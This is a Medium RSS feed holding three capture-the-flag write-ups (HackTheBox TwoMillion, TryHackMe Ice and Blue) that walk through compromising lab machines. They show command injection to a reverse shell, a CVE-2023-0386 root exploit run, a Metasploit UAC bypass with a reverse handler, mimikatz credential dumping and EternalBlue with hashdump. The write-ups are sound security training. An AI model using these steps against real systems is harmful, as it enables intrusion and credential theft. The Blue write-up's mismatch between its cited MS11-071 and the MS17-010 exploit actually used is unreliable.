<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by M Yousuf Hussain on Medium]]></title>
        <description><![CDATA[Stories by M Yousuf Hussain on Medium]]></description>
        <link>https://medium.com/@er.mdyousufhussain?source=rss-3984535c1ecd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9yipvfGNn_cIZjR8Gfu4VQ.jpeg</url>
            <title>Stories by M Yousuf Hussain on Medium</title>
            <link>https://medium.com/@er.mdyousufhussain?source=rss-3984535c1ecd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 03:34:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@er.mdyousufhussain/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Starting off with Nmap scan, we see only 2 open ports:]]></title>
            <link>https://medium.com/@er.mdyousufhussain/starting-off-with-nmap-scan-we-see-only-2-open-ports-6e82d2a00651?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e82d2a00651</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Sun, 03 May 2026 12:48:12 GMT</pubDate>
            <atom:updated>2026-05-03T12:51:24.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Starting off with Nmap scan, we see only 2 open ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*bY8nOHkqbp2ZDen9hLoRvA.png" /></figure><pre>┌─[root@htb-uszzwtqvye-htb-cloud-com]─[/home/zerotrace00/htb]<br>└──╼ nmap 2million.htb -p- -sV<br><br>Host is up (0.22s latency).<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp open  http    nginx<br>|_http-title: Did not follow redirect to &lt;http://2million.htb/&gt;<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds</pre><p>Nothing really useful there on 2million.htb:80 for now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QTWIOvUD2tuU7LUjukQXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhI_HGCZ7qMYuHIYo3wgNA.png" /></figure><p>Now we start FUZZING for any hidden directories which leads us to this finding:</p><pre>┌─[root@htb-uszzwtqvye-htb-cloud-com]─[/home/zerotrace00/htb]<br>└──╼ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u &lt;http://2million.htb/&gt; --exclude-length 162<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     &lt;http://2million.htb/&gt;<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] Exclude Length:          162<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/home                 (Status: 302) [Size: 0] [--&gt; /]<br>/login                (Status: 200) [Size: 3704]<br>/register             (Status: 200) [Size: 4527]<br>/api                  (Status: 401) [Size: 0]<br>/logout               (Status: 302) [Size: 0] [--&gt; /]<br>/404                  (Status: 200) [Size: 1674]</pre><p>Now when we visit the /register page, we end up requiring and invitation code inorder to register for the service. First instinct here was → check /invite and we endup with a valid endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mi3FH8AgbGTGReR-yJqgCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gB_2IJeX8dq3mu9LwV7LCQ.png" /></figure><p>Here we see an obfuscated JS, deobfuscate it using de4js website:</p><pre>function verifyInviteCode(code) {<br>  var formData = {<br>    code: code,<br>  };<br>  $.ajax({<br>    type: &quot;POST&quot;,<br>    dataType: &quot;json&quot;,<br>    data: formData,<br>    url: &quot;/api/v1/invite/verify&quot;,<br>    success: function (response) {<br>      console.log(response);<br>    },<br>    error: function (response) {<br>      console.log(response);<br>    },<br>  });<br>}<br><br>function makeInviteCode() {<br>  $.ajax({<br>    type: &quot;POST&quot;,<br>    dataType: &quot;json&quot;,<br>    url: &quot;/api/v1/invite/how/to/generate&quot;,<br>    success: function (response) {<br>      console.log(response);<br>    },<br>    error: function (response) {<br>      console.log(response);<br>    },<br>  });<br>}</pre><p>Let’s use curl against these endpoints and see where it takes us — Soon enough, and we end up with a hashed hint leading us to our invitation code.</p><pre>┌─[root@htb-uszzwtqvye-htb-cloud-com]─[/home/zerotrace00/htb]<br>└──╼ curl -X POST http://2million.htb/api/v1/invite/how/to/generate<br>{&quot;0&quot;:200,&quot;success&quot;:1,&quot;data&quot;:{&quot;data&quot;:&quot;Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \\/ncv\\/i1\\/vaivgr\\/trarengr&quot;,&quot;enctype&quot;:&quot;ROT13&quot;},&quot;hint&quot;:&quot;Data is encrypted ... We should probbably check the encryption type in order to decrypt it...&quot;}<br><br># So here &quot;enctype&quot;:&quot;ROT13&quot; &amp; some hash -- &quot;Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr&quot;<br># Decrypted Text is In order to generate the invite code, make a POST request to /api/v1/invite/generate<br><br>┌─[root@htb-uszzwtqvye-htb-cloud-com]─[/home/zerotrace00/htb]<br>└──╼ curl -X POST &lt;http://2million.htb/api/v1/invite/generate&gt;<br>{&quot;0&quot;:200,&quot;success&quot;:1,&quot;data&quot;:{&quot;code&quot;:&quot;UzRTWTUtTVJONEctMVVBNjYtTUtJQU4=&quot;,&quot;format&quot;:&quot;encoded&quot;}}<br><br>┌─[root@htb-uszzwtqvye-htb-cloud-com]─[/home/zerotrace00/htb]<br>└──╼ echo &quot;UzRTWTUtTVJONEctMVVBNjYtTUtJQU4=&quot; | base64 -d<br>S4SY5-MRN4G-1UA66-MKIAN</pre><p>Now we can use that invitation to register for the service. Coming to the post authentication API endpoints — we discover exposed API endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PENiNsgWeXxj_de-QFeq6g.png" /></figure><pre>GET - /api/v1/admin/auth : Check if user is admin or not<br>POST - /api/v1/admin/vpn/generate : Generate VPN for specific user<br>PUT - /api/v1/admin/settings/update : Update user settings</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M00s5BbrCcxuRHMFnOLG3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQ4Lt7LurjhuQr_dKeSy6w.png" /></figure><p>Escalating our priv to Admin, and then we find a command execution vulnerability in username parameter — which let’s us get a reverse shell on our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*pZGdMhfVROWIHIbbQfp8Xw.png" /></figure><p>After Foothold, we find admin account in /etc/passwd file, and it’s password can be discovered in .env file.</p><p>Upon some enumeration of this server, we find an email suggesting that CVE-2023–0386 can be used for privEsc</p><pre>admin@2million:/var/mail$ cat admin <br>From: ch4p &lt;ch4p@2million.htb&gt;<br>To: admin &lt;admin@2million.htb&gt;<br>Cc: g0blin &lt;g0blin@2million.htb&gt;<br>Subject: Urgent: Patch System OS<br>Date: Tue, 1 June 2023 10:45:22 -0700<br>Message-ID: &lt;9876543210@2million.htb&gt;<br>X-Mailer: ThunderMail Pro 5.2<br><br>Hey admin,<br>I&#39;m know you&#39;re working as fast as you can to do the DB migration. While we&#39;re partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can&#39;t get popped by that.<br>HTB Godfather</pre><p>Now we use this to escalate our user’s permission to root</p><pre>admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &amp;<br>[1] 2202<br>admin@2million:/tmp/CVE-2023-0386$ [+] len of gc: 0x3ee0<br>mkdir: File exists<br><br>./exp<br>uid:1000 gid:1000<br>[+] mount success<br>[+] readdir<br>[+] getattr_callback<br>/file<br>total 8<br>drwxrwxr-x 1 root   root     4096 May  3 02:16 .<br>drwxr-xr-x 6 root   root     4096 May  3 02:16 ..<br>-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file<br>[+] open_callback<br>/file<br>[+] read buf callback<br>offset 0<br>size 16384<br>path /file<br>[+] open_callback<br>/file<br>[+] open_callback<br>/file<br>[+] ioctl callback<br>path /file<br>cmd 0x80086601<br>[+] exploit success!<br>To run a command as administrator (user &quot;root&quot;), use &quot;sudo &lt;command&gt;&quot;.<br>See &quot;man sudo_root&quot; for details.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*GTilT27gT5JOjZy5LRgppQ.png" /></figure><p>Also, there was some thankyou.json in /root directory, lets decode it.</p><pre>{&quot;encoding&quot;: &quot;url&quot;, &quot;data&quot;: &quot;%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4808xQXQVE9ZkOUvsTZQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ar9lz26b-2vOmwwoLnHT2Q.png" /></figure><pre>Dear HackTheBox Community,</pre><pre>We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.</pre><pre>From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.</pre><pre>To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.</pre><pre>Here&#39;s to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.</pre><pre>With deepest gratitude,</pre><pre>The HackTheBox Team</pre><p>— — End — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e82d2a00651" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Ice: Walkthrough]]></title>
            <link>https://medium.com/@er.mdyousufhussain/tryhackme-ice-walkthrough-890877cd620a?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/890877cd620a</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Fri, 12 Dec 2025 12:15:44 GMT</pubDate>
            <atom:updated>2025-12-12T12:15:44.157Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/259/0*-3wimBoX9Oz9vuUJ.png" /></figure><p>Let’s run an nmap scan, a basic scan would fail — so use a stealth scan -sS</p><pre>root@HackBox:$ nmap -sV -sC -sS 10.49.175.92 -p-<br>Nmap scan report for 10.49.175.92<br>Host is up (0.00045s latency).<br>Not shown: 65523 closed ports<br>PORT      STATE SERVICE            VERSION<br>135/tcp   open  msrpc              Microsoft Windows RPC<br>139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp  open  ssl/ms-wbt-server?<br>|_ssl-date: 2025-12-12T11:50:09+00:00; -1s from scanner time.<br>5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable<br>8000/tcp  open  http               Icecast streaming media server<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>49152/tcp open  msrpc              Microsoft Windows RPC<br>49153/tcp open  msrpc              Microsoft Windows RPC<br>49154/tcp open  msrpc              Microsoft Windows RPC<br>49158/tcp open  msrpc              Microsoft Windows RPC<br>49159/tcp open  msrpc              Microsoft Windows RPC<br>49160/tcp open  msrpc              Microsoft Windows RPC<br>Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 1h29m59s, deviation: 3h00m00s, median: -1s<br>|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 0a:9d:bd:72:ca:d9 (unknown)<br>| smb-os-discovery: <br>|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>|   Computer name: Dark-PC<br>|   NetBIOS computer name: DARK-PC\\x00<br>|   Workgroup: WORKGROUP\\x00<br>|_  System time: 2025-12-12T05:50:04-06:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2025-12-12T11:50:04<br>|_  start_date: 2025-12-12T11:34:17</pre><pre>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 461.16 seconds</pre><p>notable things here is</p><pre>8000/tcp  open  http               Icecast streaming media server</pre><p>Upon research: <a href="https://www.exploit-db.com/exploits/568">https://www.exploit-db.com/exploits/568</a></p><p>Now that we know its vulnerable, let’s start msfconsole:</p><pre>msf6 &gt; search icecast</pre><pre>Matching Modules<br>================</pre><pre>   #  Name                                 Disclosure Date  Rank   Check  Description<br>   -  ----                                 ---------------  ----   -----  -----------<br>   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite</pre><p>use that exploit, set RHOSTS and exploit it</p><p>use getprivs command to check our priviledges, now we need to escalate</p><pre>meterpreter &gt; getuid<br>Server username: Dark-PC\\Dark<br>meterpreter &gt; getid<br>[-] Unknown command: getid. Did you mean getsid? Run the help command for more details.<br>meterpreter &gt; sysinfo<br>Computer        : DARK-PC<br>OS              : Windows 7 (6.1 Build 7601, Service Pack 1).<br>Architecture    : x64<br>System Language : en_US<br>Domain          : WORKGROUP<br>Logged On Users : 2<br>Meterpreter     : x86/windows</pre><p>post/multi/recon/local_exploit_suggester is a scan which can be used to learn any privilege escalation paths.</p><pre>meterpreter &gt; run post/multi/recon/local_exploit_suggester<br>[*] 10.49.175.92 - Collecting local exploits for x86/windows...<br>[*] 10.49.175.92 - 204 exploit checks are being tried...<br>[+] 10.49.175.92 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!<br>[+] 10.49.175.92 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.<br>[+] 10.49.175.92 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.<br>[+] 10.49.175.92 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.<br>[*] Running check method for exploit 42 / 42<br>[*] 10.49.175.92 - Valid modules for session 1:<br>============================</pre><pre> # Name  Potentially Vulnerable?  Check Result<br> -----------------------  ------------<br> 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.<br> 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.<br>.<br>.<br>.</pre><pre>msf6 exploit(windows/http/icecast_header) &gt; use exploit/windows/local/bypassuac_eventvwr</pre><pre>msf6 exploit(windows/local/bypassuac_eventvwr) &gt; set SESSION 1<br>SESSION =&gt; 1<br>msf6 exploit(windows/local/bypassuac_eventvwr) &gt; run<br>[*] Started reverse TCP handler on 10.49.68.116:4444 <br>[*] UAC is Enabled, checking level...<br>[+] Part of Administrators group! Continuing...<br>[+] UAC is set to Default<br>[+] BypassUAC can bypass this setting, continuing...<br>[*] Configuring payload and stager registry keys ...<br>[*] Executing payload: C:\\Windows\\SysWOW64\\eventvwr.exe<br>[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.<br>[*] Sending stage (177734 bytes) to 10.49.175.92<br>[*] Meterpreter session 2 opened (10.49.68.116:4444 -&gt; 10.49.175.92:49197) at 2025-12-12 12:01:13 +0000<br>[*] Cleaning up registry keys ...</pre><pre>msf6 exploit(windows/local/bypassuac_eventvwr) &gt; sessions 2<br>[*] Starting interaction with 2...</pre><pre>meterpreter &gt; getprivs</pre><pre>Enabled Process Privileges<br>==========================</pre><pre>Name<br>----<br>SeBackupPrivilege<br>SeChangeNotifyPrivilege<br>SeCreateGlobalPrivilege<br>SeCreatePagefilePrivilege<br>SeCreateSymbolicLinkPrivilege<br>SeDebugPrivilege<br>SeImpersonatePrivilege<br>SeIncreaseBasePriorityPrivilege<br>SeIncreaseQuotaPrivilege<br>SeIncreaseWorkingSetPrivilege<br>SeLoadDriverPrivilege<br>SeManageVolumePrivilege<br>SeProfileSingleProcessPrivilege<br>SeRemoteShutdownPrivilege<br>SeRestorePrivilege<br>SeSecurityPrivilege<br>SeShutdownPrivilege<br>SeSystemEnvironmentPrivilege<br>SeSystemProfilePrivilege<br>SeSystemtimePrivilege<br>SeTakeOwnershipPrivilege<br>SeTimeZonePrivilege<br>SeUndockPrivilege</pre><p>Need to migrate here to escalate priviledges</p><pre>meterpreter &gt; migrate 700<br>[*] Migrating from 968 to 700...<br>[*] Migration completed successfully.<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\\SYSTEM</pre><p>Now that we’ve made our way to full administrator permissions we’ll set our sights on looting. Mimikatz is a rather infamous password dumping tool that is incredibly useful. Loading kiwi into our meterpreter session will expand our help menu, take a look at the newly added section of the help menu now via the command help.</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows)<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \\ / ##       &gt; &lt;http://blog.gentilkiwi.com/mimikatz&gt;<br> &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; &lt;http://pingcastle.com&gt; / &lt;http://mysmartlogon.com&gt;  ***/</pre><pre>Success.<br>meterpreter &gt; help<br>&lt;defaults&gt;<br>Kiwi Commands<br>=============</pre><pre>    Command                   Description<br>    -------                   -----------<br>    creds_all                 Retrieve all credentials (parsed)<br>    creds_kerberos            Retrieve Kerberos creds (parsed)<br>    creds_livessp             Retrieve Live SSP creds<br>    creds_msv                 Retrieve LM/NTLM creds (parsed)<br>    creds_ssp                 Retrieve SSP creds<br>    creds_tspkg               Retrieve TsPkg creds (parsed)<br>    creds_wdigest             Retrieve WDigest creds (parsed)<br>    dcsync                    Retrieve user account information via DCSync (unparsed)<br>    dcsync_ntlm               Retrieve user account NTLM hash, SID and RID via DCSync<br>    golden_ticket_create      Create a golden kerberos ticket<br>    kerberos_ticket_list      List all kerberos tickets (unparsed)<br>    kerberos_ticket_purge     Purge any in-use kerberos tickets<br>    kerberos_ticket_use       Use a kerberos ticket<br>    kiwi_cmd                  Execute an arbitrary mimikatz command (unparsed)<br>    lsa_dump_sam              Dump LSA SAM (unparsed)<br>    lsa_dump_secrets          Dump LSA secrets (unparsed)<br>    password_change           Change the password/hash of a user<br>    wifi_list                 List wifi profiles/creds for the current user<br>    wifi_list_shared          List shared wifi profiles/creds (requires SYSTEM)</pre><p><strong>Pwned!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=890877cd620a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Blue: Walkthrough]]></title>
            <link>https://medium.com/@er.mdyousufhussain/tryhackme-blue-walkthrough-657a2a20424c?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/657a2a20424c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 13:49:24 GMT</pubDate>
            <atom:updated>2025-12-10T13:49:24.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*2Lp7xl9VbaYvUbMf.gif" /></figure><p>Started this room with a basic nmap scan</p><pre>---&gt; nmap -sV -sC -oA blue.nmap</pre><pre>Nmap scan report for 10.49.185.100<br>Host is up (0.00047s latency).<br>Not shown: 991 closed ports<br>PORT      STATE SERVICE      VERSION<br>135/tcp   open  msrpc        Microsoft Windows RPC<br>139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp  open  tcpwrapped<br>|_ssl-date: 2025-12-10T11:51:07+00:00; -1s from scanner time.<br>49152/tcp open  msrpc        Microsoft Windows RPC<br>49153/tcp open  msrpc        Microsoft Windows RPC<br>49154/tcp open  msrpc        Microsoft Windows RPC<br>49158/tcp open  msrpc        Microsoft Windows RPC<br>49159/tcp open  msrpc        Microsoft Windows RPC<br>Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 1h29m58s, deviation: 3h00m00s, median: -1s<br>|_nbstat: NetBIOS name: JON-PC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 0a:a0:55:be:31:a1 (unknown)<br>| smb-os-discovery: <br>|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>|   Computer name: Jon-PC<br>|   NetBIOS computer name: JON-PC\\x00<br>|   Workgroup: WORKGROUP\\x00<br>|_  System time: 2025-12-10T05:50:52-06:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2025-12-10T11:50:52<br>|_  start_date: 2025-12-10T11:48:55</pre><pre>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br># Nmap done at Wed Dec 10 11:52:08 2025 -- 1 IP address (1 host up) scanned in 141.69 seconds</pre><p>Interestingly we find that — on port 445 we have SMB service running which also gives away some interesting details</p><ul><li>Windows 7 Professional → wayyy olddd</li><li>7601 Service Pack 1 → Build <strong>7601</strong> specifically corresponds to <strong>Windows 7 Service Pack 1,</strong> and is the last major update before Windows 7 went end-of-life.</li></ul><p>So barely a google search of this version, leads us to an official microsoft webpage which reveals a serial number for this CVE ie, . [Reference: <a href="https://support.microsoft.com/en-us/topic/ms11-071-vulnerability-in-windows-components-could-allow-remote-code-execution-september-13-2011-8ee01eec-6d5c-7b1b-6a61-52269fc2ed3a">https://support.microsoft.com/en-us/topic/ms11-071-vulnerability-in-windows-components-could-allow-remote-code-execution-september-13-2011-8ee01eec-6d5c-7b1b-6a61-52269fc2ed3a</a>]</p><p>This leads us to open metasploit console framework and search for this exploit</p><pre>msfconsole # start the metasploit framework<br>search ms17-01</pre><p>There you will find exploit/windows/smb/ms17_010_eternalblue, or you can just simply enter the following command.</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>Don’t forget to map your RHOSTS, before running the exploit</p><pre>show options<br>set RHOSTS &lt;Target_IP&gt;</pre><p>After getting our exploit executed on the target server and establishing a shell connection, now we need to upgrade our shell to meterpreter. Press ctrl+z , and then —</p><pre>sessions -l<br>sessions -u -1 # make sure you change it to your session ID</pre><p>After a meterpreter session is created, start that new session by —</p><pre>sessions -l<br>sessions 2 # may be different session ID for you, AGAIN check</pre><p>Now, as we have successfully got a meterpreter shell as NT AUTHORITY/SYSTEM, we need to migrate to a stable PID — we do this so that our session stays persistent and stable, so</p><pre>ps # this will list all the processes<br>migrate &lt;PID&gt; # preferably use PID of svchost.exe or winlogon.exe</pre><p>now, we need to get the credentials of the users on this machine.</p><pre>hashdump # this will dump all the NTLM hashes of all the local users</pre><p>Administrator:500:aad3bxxxxxxxxxxxx435b51404ee:31d6cfe0d16ae931b73c5::: Guest:501:aad3b435b51404xxxxxxxxxxxxx4ee:31d6cfe0d16ae931b73c590::: 